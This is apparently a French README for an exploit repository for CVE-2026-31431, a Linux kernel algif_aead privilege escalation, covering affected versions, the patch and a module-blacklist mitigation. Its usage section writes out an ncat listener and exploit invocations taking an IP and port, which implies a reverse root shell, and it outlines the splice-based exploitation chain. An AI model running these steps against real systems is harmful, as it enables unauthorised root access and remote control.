
Exploit d'élévation de privilèges locale pour CVE-2026-31431, une faille logique AF_ALG du noyau Linux permettant aux utilisateurs non privilégiés d'écrire 4 octets dans le cache de pages et d'obtenir les droits root. Inclut un script PoC et des recommandations d'atténuation.
Copy Fail est une vulnérabilité d'élévation de privilèges locale (LPE) de haute sévérité dans le sous-système cryptographique du noyau Linux (algif_aead). Découverte et divulguée par Theori (via son outil de recherche de vulnérabilités assisté par IA Xint Code) le 29 avril 2026, cette faille permet à tout utilisateur local non privilégié d'écrire 4 octets contrôlés dans le cache de pages de n'importe quel fichier lisible — et d'en tirer parti pour obtenir les droits root sur pratiquement toutes les distributions Linux majeures publiées depuis 2017.
Un exploit proof-of-concept fonctionnel ne fait que ~732 octets de Python.
sudo ncat -lvnp PORT
# Avec le script Python
python3 CVE-2026-31431-Exploit.py IP PORT
# Binaire compilé
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORT
| Champ | Détail |
|---|---|
| ID CVE | CVE-2026-31431 |
| Score CVSS | 7.8 (ÉLEVÉ) |
| Type | Élévation de privilèges locale (LPE) |
| Composant | algif_aead — interface crypto utilisateur AF_ALG du noyau Linux |
| Cause racine | Défaut logique dans le modèle AEAD authencesn ; une optimisation in-place (commit 72548b093ee3, août 2017) fait apparaître les pages du cache de pages dans la liste scatterlist de destination inscriptible du noyau |
| Primitive | Écriture contrôlée de 4 octets dans le cache de pages de n'importe quel fichier lisible |
| Mécanisme d'exploitation | Socket AF_ALG → splice() → corruption du cache de pages d'un binaire setuid → root |
| Condition de course ? | ❌ Aucune — défaut logique direct, fiable à 100 % |
| Offset du noyau nécessaire ? | ❌ Non |
| Commit de correctif | fafe0fa2995a (annule l'optimisation de 2017) |
AF_ALG et le lier à authencesn(hmac(sha256),cbc(aes))| Affectées | Non affectées |
|---|---|
| Noyau Linux 4.14 jusqu'à 7.0-rc | Noyaux antérieurs à 4.14 (avant le commit d'août 2017) |
| Toutes les 6.18.x antérieures à 6.18.22 | 6.18.22+ (corrigées) |
| Toutes les 6.19.x antérieures à 6.19.12 | 6.19.12+ (corrigées) |
Essentiellement toute distribution Linux majeure publiée depuis 2017 est affectée.
Mettez à jour votre noyau vers une version contenant le commit de correctif fafe0fa2995a. La plupart des distributions majeures ont publié ou publient des paquets de noyau mis à jour.
Si vous ne pouvez pas appliquer le correctif immédiatement :
algif_aead :
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo modprobe -r algif_aead 2>/dev/null
Ce dépôt est destiné uniquement à des fins éducatives et défensives. Les informations fournies ici visent à aider les équipes de sécurité à comprendre, détecter et atténuer CVE-2026-31431. Respectez toujours les pratiques de divulgation responsable et les lois applicables.